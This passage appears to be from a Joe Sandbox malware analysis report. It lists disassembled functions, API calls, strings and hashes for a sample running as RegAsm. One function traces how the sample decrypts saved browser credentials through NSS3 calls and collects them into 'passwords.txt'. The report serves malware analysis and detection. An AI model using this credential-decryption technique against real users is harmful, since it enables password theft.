Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f1937a1b08348a57b00ab59f39d03f042d4a1f0e171b8ae631e82396fa0be247
Instruction ID: 6edc1f77bc014f77afb1dd4525fcd7db61d9a3eb149a076bd6fc7a55924a73f3
Opcode Fuzzy Hash: f1937a1b08348a57b00ab59f39d03f042d4a1f0e171b8ae631e82396fa0be247
Instruction Fuzzy Hash: D9C08C72529208EFD70DCB84D613F5AB3FCE704758F10409CE00293780C67DAB00CA58

Function 004014A2 Relevance: .0, Instructions: 3COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 17de449bc8e75433a69f048acdc393cdc02c9d7c97a966a586413745d476a19c
Instruction ID: 5941d710df6caaa93d6ffa2de60dce8e613dec4f923ccdd24a2439a3e016513d
Opcode Fuzzy Hash: 17de449bc8e75433a69f048acdc393cdc02c9d7c97a966a586413745d476a19c
Instruction Fuzzy Hash: DAA002315569D48ECE53D7158260F207BB8A741A41F0504D1E491C6863C11CDA50D950

Function 0040DCA0 Relevance: 90.4, APIs: 60, Instructions: 399memorystringCOMMON

Download Yara Rule

APIs

Part of subcall function 0040DB7F: lstrlenA.KERNEL32(?,75AA5460,?,00000000), ref: 0040DBBB
Part of subcall function 0040DB7F: strchr.MSVCRT ref: 0040DBCD

GetProcessHeap.KERNEL32(00000008,?,75AA5460,?,00000000), ref: 0040DD04
HeapAlloc.KERNEL32(00000000), ref: 0040DD0B
GetProcessHeap.KERNEL32(00000000,?), ref: 0040DD20
HeapFree.KERNEL32(00000000), ref: 0040DD27
strcpy_s.MSVCRT ref: 0040DD43
GetProcessHeap.KERNEL32(00000000,?), ref: 0040DD55
HeapFree.KERNEL32(00000000), ref: 0040DD62
GetProcessHeap.KERNEL32(00000000,00000000), ref: 0040DD93
HeapFree.KERNEL32(00000000), ref: 0040DD9A
GetProcessHeap.KERNEL32(00000008,?), ref: 0040DDA1
HeapAlloc.KERNEL32(00000000), ref: 0040DDA8
GetProcessHeap.KERNEL32(00000000,?), ref: 0040DDBD
HeapFree.KERNEL32(00000000), ref: 0040DDC4
strcpy_s.MSVCRT ref: 0040DDDA
GetProcessHeap.KERNEL32(00000000,?), ref: 0040DDEC
HeapFree.KERNEL32(00000000), ref: 0040DDF3
GetProcessHeap.KERNEL32(00000000,00000000), ref: 0040DE11
HeapFree.KERNEL32(00000000), ref: 0040DE18
GetProcessHeap.KERNEL32(00000008,?), ref: 0040DE1F
HeapAlloc.KERNEL32(00000000), ref: 0040DE26
GetProcessHeap.KERNEL32(00000000,?), ref: 0040DE3B
HeapFree.KERNEL32(00000000), ref: 0040DE42
strcpy_s.MSVCRT ref: 0040DE52
GetProcessHeap.KERNEL32(00000000,?), ref: 0040DE64
HeapFree.KERNEL32(00000000), ref: 0040DE6B
GetProcessHeap.KERNEL32(00000000,00000000), ref: 0040DE93
HeapFree.KERNEL32(00000000), ref: 0040DE9A
GetProcessHeap.KERNEL32(00000008,?), ref: 0040DEA1
HeapAlloc.KERNEL32(00000000), ref: 0040DEA8
GetProcessHeap.KERNEL32(00000000,?), ref: 0040DEC3
HeapFree.KERNEL32(00000000), ref: 0040DECA
strcpy_s.MSVCRT ref: 0040DEDD
GetProcessHeap.KERNEL32(00000000,?), ref: 0040DEEF
HeapFree.KERNEL32(00000000), ref: 0040DEF6
lstrlenA.KERNEL32(00000000), ref: 0040DEFF
GetProcessHeap.KERNEL32(00000008,00000000), ref: 0040DF15
HeapAlloc.KERNEL32(00000000), ref: 0040DF1C
lstrlenA.KERNEL32(00000000), ref: 0040DF34

Part of subcall function 0040F128: std::_Xinvalid_argument.LIBCPMT ref: 0040F13E

strcpy_s.MSVCRT ref: 0040DF75
GetProcessHeap.KERNEL32(00000000,?,00000001,00000001), ref: 0040DF9B
HeapFree.KERNEL32(00000000), ref: 0040DFA8
lstrlenA.KERNEL32(?), ref: 0040DFAD
GetProcessHeap.KERNEL32(00000008,00000001), ref: 0040DFBC
HeapAlloc.KERNEL32(00000000), ref: 0040DFC3
GetProcessHeap.KERNEL32(00000000,?), ref: 0040DFD7
HeapFree.KERNEL32(00000000), ref: 0040DFDE
strcpy_s.MSVCRT ref: 0040DFEC
GetProcessHeap.KERNEL32(00000000,?), ref: 0040DFF9
HeapFree.KERNEL32(00000000), ref: 0040E000
GetProcessHeap.KERNEL32(00000000,?), ref: 0040E035
HeapFree.KERNEL32(00000000), ref: 0040E03C
GetProcessHeap.KERNEL32(00000008,?), ref: 0040E043
HeapAlloc.KERNEL32(00000000), ref: 0040E04A
strcpy_s.MSVCRT ref: 0040E065
GetProcessHeap.KERNEL32(00000000,?), ref: 0040E077
HeapFree.KERNEL32(00000000), ref: 0040E07E
GetProcessHeap.KERNEL32(00000000,?), ref: 0040E122
HeapFree.KERNEL32(00000000), ref: 0040E129
GetProcessHeap.KERNEL32(00000000,?), ref: 0040E173
HeapFree.KERNEL32(00000000), ref: 0040E17A

Part of subcall function 0040DB7F: strchr.MSVCRT ref: 0040DBF2
Part of subcall function 0040DB7F: lstrlenA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0040DCF7), ref: 0040DC14
Part of subcall function 0040DB7F: GetProcessHeap.KERNEL32(00000008,-00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0040DC21
Part of subcall function 0040DB7F: HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0040DCF7), ref: 0040DC28
Part of subcall function 0040DB7F: strcpy_s.MSVCRT ref: 0040DC6F

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$Process$Free$Allocstrcpy_s$lstrlen$strchr$Xinvalid_argumentstd::_
String ID:
API String ID: 838878465-0
Opcode ID: 2561c5df908cdd488d2aa22bbe433537ad81f979b143cb002045d8ef8f0c2ae7
Instruction ID: 0a8d11442738e0aebf2a58bd4f58ea1ebce0464b8d6fd0751a66cb0fe0de1c79
Opcode Fuzzy Hash: 2561c5df908cdd488d2aa22bbe433537ad81f979b143cb002045d8ef8f0c2ae7
Instruction Fuzzy Hash: F0E14C72C00219ABEF249FF1DC48ADEBF79BF08305F1454AAF115B3152EA3A59849F54

Function 0040A916 Relevance: 63.2, APIs: 34, Strings: 2, Instructions: 211stringmemoryfileCOMMON

Download Yara Rule

APIs

NSS_Init.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040A922

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041707B,004366CD,?,?,?,?,0041858F), ref: 0041050D

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004175E9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004170BA,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 004105BD

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,0041709C,00436C18,00000000,004366CD,?,?,?,?,0041858F), ref: 00410650

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,004373A4,0043680F), ref: 0040A9C1
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002,?,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040A9D9
GetFileSize.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040A9E1
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040A9ED
??_U@YAPAXI@Z.MSVCRT(00000001,?,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040A9F7
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AA09
GetProcessHeap.KERNEL32(00000000,000F423F,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AA15
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AA1C
StrStrA.SHLWAPI(0040B824,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AA2D
StrStrA.SHLWAPI(-00000010,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AA47
lstrcatA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AA5A
lstrcatA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AA64
lstrcatA.KERNEL32(00000000,004373A8,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AA70
lstrcatA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AA7A
lstrcatA.KERNEL32(00000000,004373AC,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AA86
lstrcatA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AA93
lstrcatA.KERNEL32(00000000,-00000010,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AA9B
lstrcatA.KERNEL32(00000000,004373B0,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AAA7
StrStrA.SHLWAPI(-000000FE,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AAB7
StrStrA.SHLWAPI(00000014,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AAC7
lstrcatA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AADA

Part of subcall function 0040A7D8: _memset.LIBCMT ref: 0040A815
Part of subcall function 0040A7D8: lstrlenA.KERNEL32(?,00000001,?,?,00000000,00000000,00000000,00000000,00000014,?,0040AAE7), ref: 0040A830
Part of subcall function 0040A7D8: CryptStringToBinaryA.CRYPT32(?,00000000,?,00000001,?,?,00000000), ref: 0040A838
Part of subcall function 0040A7D8: PK11_GetInternalKeySlot.NSS3(?,00000000,?,00000001,?,?,00000000,00000000,00000000,00000000,00000014,?,0040AAE7), ref: 0040A846
Part of subcall function 0040A7D8: PK11_Authenticate.NSS3(00000000,00000001,00000000,?,00000000,?,00000001,?,?,00000000,00000000,00000000,00000000,00000014,?,0040AAE7), ref: 0040A85A
Part of subcall function 0040A7D8: PK11SDR_Decrypt.NSS3(?,?,00000000,?,00000000,00000000,00000000,00000000,00000014,?,0040AAE7), ref: 0040A89A
Part of subcall function 0040A7D8: _memmove.LIBCMT ref: 0040A8BB
Part of subcall function 0040A7D8: PK11_FreeSlot.NSS3(00000000,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040A8EC

lstrcatA.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AAE9
lstrcatA.KERNEL32(00000000,004373B4,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AAF5
StrStrA.SHLWAPI(-000000FE,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AB05
StrStrA.SHLWAPI(00000014,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AB15
lstrcatA.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AB28

Part of subcall function 0040A7D8: lstrcatA.KERNEL32(00436803,00436807,?,00000000,00000000,00000000,00000000,00000014,?,0040AAE7), ref: 0040A8E5
Part of subcall function 0040A7D8: lstrcatA.KERNEL32(00436803,0043680E,?,00000000,?,00000001,?,?,00000000,00000000,00000000,00000000,00000014,?,0040AAE7), ref: 0040A8FB

lstrcatA.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AB37
lstrcatA.KERNEL32(00000000,004373B8,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AB43
lstrcatA.KERNEL32(00000000,004373BC,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AB4F
StrStrA.SHLWAPI(-000000FE,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040AB5F
lstrlenA.KERNEL32(00000000), ref: 0040AB7D
CloseHandle.KERNEL32(?), ref: 0040ABAC
NSS_Shutdown.NSS3(?,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040ABB2

Strings

pe, xrefs: 0040A931
passwords.txt, xrefs: 0040AB89

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$File$lstrcpy$K11_lstrlen$HeapPointerSlot$AllocAuthenticateBinaryCloseCreateCryptDecryptFreeHandleInitInternalProcessReadShutdownSizeString_memmove_memset
String ID: passwords.txt$pe
API String ID: 2725232238-1761351166
Opcode ID: 6515523e2a9acb22778a198fb2e3cfaa62e68f67476996d2fc7beb9edd0c2087
Instruction ID: 1a907496ddc9cbec6b75df531e31c39fb9952b717cdae40389231e62c8e49acd
Opcode Fuzzy Hash: 6515523e2a9acb22778a198fb2e3cfaa62e68f67476996d2fc7beb9edd0c2087
Instruction Fuzzy Hash: DF71A331500215ABCF15EFA1DD4DD9E3BBAEF4830AF101015F901A31A1EB7A5A55CBA6

Function 6C2F6E50 Relevance: 44.0, APIs: 19, Strings: 6, Instructions: 213stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C1ACA30: EnterCriticalSection.KERNEL32(?,?,?,6C20F9C9,?,6C20F4DA,6C20F9C9,?,?,6C1D369A), ref: 6C1ACA7A
Part of subcall function 6C1ACA30: LeaveCriticalSection.KERNEL32(?), ref: 6C1ACB26

memset.VCRUNTIME140(00000000,00000000,?,?,6C1BBE66), ref: 6C2F6E81
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,6C1BBE66), ref: 6C2F6E98
sqlite3_snprintf.NSS3(?,00000000,6C35AAF9,?,?,?,?,?,?,6C1BBE66), ref: 6C2F6EC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,6C1BBE66), ref: 6C2F6ED2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,6C1BBE66), ref: 6C2F6EF8
sqlite3_snprintf.NSS3(?,00000019,mz_etilqs_,?,?,?,?,?,?,?,6C1BBE66), ref: 6C2F6F1F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,6C1BBE66), ref: 6C2F6F28
sqlite3_randomness.NSS3(0000000F,00000000,?,?,?,?,?,?,?,?,?,?,?,6C1BBE66), ref: 6C2F6F3D
memset.VCRUNTIME140(?,00000000,?,?,?,?,?,6C1BBE66), ref: 6C2F6FA6
sqlite3_snprintf.NSS3(?,00000000,6C35AAF9,00000000,?,?,?,?,?,?,?,6C1BBE66), ref: 6C2F6FDB
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,6C1BBE66), ref: 6C2F6FE4
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C1BBE66), ref: 6C2F6FEF
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6C1BBE66), ref: 6C2F7014
sqlite3_free.NSS3(00000000,?,?,?,?,6C1BBE66), ref: 6C2F701D
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,6C1BBE66), ref: 6C2F7030
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,6C1BBE66), ref: 6C2F705B
sqlite3_free.NSS3(00000000,?,?,?,?,?,6C1BBE66), ref: 6C2F7079
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6C1BBE66), ref: 6C2F7097
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,6C1BBE66), ref: 6C2F70A0

Strings

winGetTempname1, xrefs: 6C2F708F
P3l, xrefs: 6C2F70A8
winGetTempname2, xrefs: 6C2F70C4
winGetTempname5, xrefs: 6C2F7071
winGetTempname4, xrefs: 6C2F7046
mz_etilqs_, xrefs: 6C2F6F18

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: sqlite3_free$strlen$sqlite3_snprintf$CriticalSectionmemset$EnterLeavesqlite3_randomness
String ID: P3l$mz_etilqs_$winGetTempname1$winGetTempname2$winGetTempname4$winGetTempname5
API String ID: 593473924-161527460
Opcode ID: e10f4e903d62e578197e2d89d9f73ca27298aa7ce5c636deb777b7faf30623bf
Instruction ID: eaacbea721cf89bfbf1c1b33244e3aa000618ccb2ed120529cdd4f725e8f5e07
Opcode Fuzzy Hash: e10f4e903d62e578197e2d89d9f73ca27298aa7ce5c636deb777b7faf30623bf
Instruction Fuzzy Hash: 15517EB5A4421D2BE30056309CA5FBB766A9F82718F144638FD2596BC2FF36941F82D3

Function 6C258E50 Relevance: 42.2, APIs: 14, Strings: 10, Instructions: 169COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_WrapKey), ref: 6C258E76
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C258EA4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C258EB3

Part of subcall function 6C33D930: PL_strncpyz.NSS3(?,?,?), ref: 6C33D963

PR_LogPrint.NSS3(?,00000000), ref: 6C258EC9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6C258EE5
PL_strncpyz.NSS3(?, hWrappingKey = 0x%x,00000050), ref: 6C258F17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C258F29
PR_LogPrint.NSS3(?,00000000), ref: 6C258F3F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6C258F71
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C258F80
PR_LogPrint.NSS3(?,00000000), ref: 6C258F96
PR_LogPrint.NSS3( pWrappedKey = 0x%p,?), ref: 6C258FB2
PR_LogPrint.NSS3( pulWrappedKeyLen = 0x%p,?), ref: 6C258FCD
PR_LogPrint.NSS3( *pulWrappedKeyLen = 0x%x,?), ref: 6C259047

Strings

pMechanism = 0x%p, xrefs: 6C258EE0
hSession = 0x%x, xrefs: 6C258E8E, 6C258E9E
n3l, xrefs: 6C258FEC, 6C259023
C_WrapKey, xrefs: 6C258E71
hWrappingKey = 0x%x, xrefs: 6C258F01, 6C258F11
*pulWrappedKeyLen = 0x%x, xrefs: 6C259042
hKey = 0x%x, xrefs: 6C258F5B, 6C258F6B
pulWrappedKeyLen = 0x%p, xrefs: 6C258FC8
(CK_INVALID_HANDLE), xrefs: 6C258EAC, 6C258F1F, 6C258F79
pWrappedKey = 0x%p, xrefs: 6C258FAD

Memory Dump Source

Source File: 00000002.00000002.2404935030.000000006C1A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1A0000, based on PE: true

Associated: 00000002.00000002.2404899965.000000006C1A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2407833622.000000006C33F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408333866.000000006C37E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408374362.000000006C37F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408411060.000000006C380000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.2408463299.000000006C385000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6c1a0000_RegAsm.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulWrappedKeyLen = 0x%x$ hKey = 0x%x$ hSession = 0x%x$ hWrappingKey = 0x%x$ pMechanism = 0x%p$ pWrappedKey = 0x%p$ pulWrappedKeyLen = 0x%p$ (CK_INVALID_HANDLE)$C_WrapKey$n3l
API String ID: 1003633598-644449561
Opcode ID: 0db107da45424b361d8dafbfbf91d0d429a4830eca20032c6425c68cb00dca07
Instruction ID: e9d5e0e9f94e877406be683cd17a269ca3cf09bc98f29b2f797130e5e83885bb
Opcode Fuzzy Hash: 0db107da45424b361d8dafbfbf91d0d429a4830eca20032c6425c68cb00dca07
Instruction Fuzzy Hash: CD51D631652159AFDB009F00DD48F9F77B6AB4730DF858025FD086BA21D73A9928CF92

Function 00424B17 Relevance: 42.1, APIs: 19, Strings: 5, Instructions: 109libraryloadermemoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(KERNEL32.DLL), ref: 00424B1F
__mtterm.LIBCMT ref: 00424B2B

Part of subcall function 004247EA: DecodePointer.KERNEL32(FFFFFFFF), ref: 004247FB
Part of subcall function 004247EA: TlsFree.KERNEL32(FFFFFFFF), ref: 00424815

GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 00424B41
GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 00424B4E
GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 00424B5B
GetProcAddress.KERNEL32(00000000,FlsFree), ref: 00424B68
TlsAlloc.KERNEL32 ref: 00424BB8
TlsSetValue.KERNEL32(00000000), ref: 00424BD3
__init_pointers.LIBCMT ref: 00424BDD
EncodePointer.KERNEL32 ref: 00424BEE
EncodePointer.KERNEL32 ref: 00424BFB
EncodePointer.KERNEL32 ref: 00424C08
EncodePointer.KERNEL32 ref: 00424C15
DecodePointer.KERNEL32(Function_0002496E), ref: 00424C36
__calloc_crt.LIBCMT ref: 00424C4B
DecodePointer.KERNEL32(00000000), ref: 00424C65
__initptd.LIBCMT ref: 00424C70
GetCurrentThreadId.KERNEL32 ref: 00424C77

Strings

FlsFree, xrefs: 00424B5D
FlsAlloc, xrefs: 00424B3B
KERNEL32.DLL, xrefs: 00424B1A
FlsGetValue, xrefs: 00424B43
FlsSetValue, xrefs: 00424B50

Memory Dump Source

Source File: 00000002.00000002.2337029963.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2337029963.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.2337029963.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Pointer$AddressEncodeProc$Decode$AllocCurrentFreeHandleModuleThreadValue__calloc_crt__init_pointers__initptd__mtterm
String ID: FlsAlloc$FlsFree$FlsGetValue$FlsSetValue$KERNEL32.DLL
API String ID: 3732613303-3819984048
Opcode ID: c3e8602a75dcfac61e5a676cfef74acbdb1683745e949ee774a63f93a96c250c
Instruction ID: 9e7d6304cc20a0816a56486267aa260185140d132a286571763312e702071250
Opcode Fuzzy Hash: c3e8602a75dcfac61e5a676cfef74acbdb1683745e949ee774a63f93a96c250c
Instruction Fuzzy Hash: F7312C35E053609ADB23AF7ABD0860A3BA4EF85722B51063BE410D32B1DBB9D440DF5D

Function 6C284FE0 Relevance: 40.4, APIs: 18, Strings: 5, Instructions: 175COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C2375C2,00000000,00000000,00000001), ref: 6C285009
PL_strncasecmp.NSS3(?,library=,00000008,?,?,?,?,?,?,?,?,00000000,00000000,?,6C2375C2,00000000), ref: 6C285049
